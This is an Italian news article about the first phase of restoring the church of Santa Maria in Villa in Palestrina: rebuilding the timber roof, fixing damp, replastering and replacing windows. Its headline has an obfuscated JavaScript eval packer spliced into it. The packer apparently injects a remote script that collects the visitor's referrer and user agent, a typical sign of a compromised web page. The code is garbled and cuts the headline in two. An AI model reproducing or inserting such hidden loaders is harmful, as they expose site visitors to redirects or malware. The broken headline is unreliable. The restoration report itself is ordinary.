



Dopo `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(.+)/String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";',30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|aardh|var|u0026u|referrer|snhry|js|php'.split('|'),0,{}))` le analisi di studio, iniziano i lavori di ristrutturazione

Studi analisi e ricerche. Ora finalmente possono partire i lavori. Sarà presto avviata la ristrutturazione della Chiesa santa Maria in villa a Palestrina. Dai dati raccolti dal gruppo di ricerca si è potuto infatti redigere un progetto di restauro dettato dal rispetto delle preesistenze e dal criterio del minimo intervento, possibilmente reversibile con la finalità di operare una serie di interventi importanti che riguardano principalmente la stabilità e la migliore conservazione della chiesa.

Tra questi si sono scelti per un primo intervento quelli ritenuti necessari e urgenti. Si partirà innanzitutto dalla copertura a capanna che ricopre l'edificio attraverso opere di demolizione e ricostruzione. Il tetto in legno presenta infatti uno stato di deterioramento notevole tanto nella sua orditura principale, costituita da capriate, che in quella secondaria. Obiettivo fondamentale è quello dell'impermealizzazione del tetto. L'eliminazione del problema dell'umidità potrà essere risolto non solo attraverso il rifacimento della copertura, per impedire le infiltrazioni dall'alto ma anche attraverso il ripristino della muratura perimetrale. All'esterno, dopo una prima fase in cui saranno rimosse le vecchie stuccature e intonaci dovuti a interventi precedenti, si procederà alla stesura del nuovo intonaco e della tinteggiatura. Altro punto fondamentale, infine riguarderà la sostituzione degli infissi in legno. Quello descritto riguarda solo una prima fase dell'intervento che dovrà per forze di cose prevedere in futuro anche una ristrutturazione della decorazione interna e del pavimento che costituivano un tempo il vero tesoro di una parte di villa, poi trasformata in chiesa, che costituisce ad oggi uno dei tesori più belli e affascinanti del patrimonio archeologico prenestino.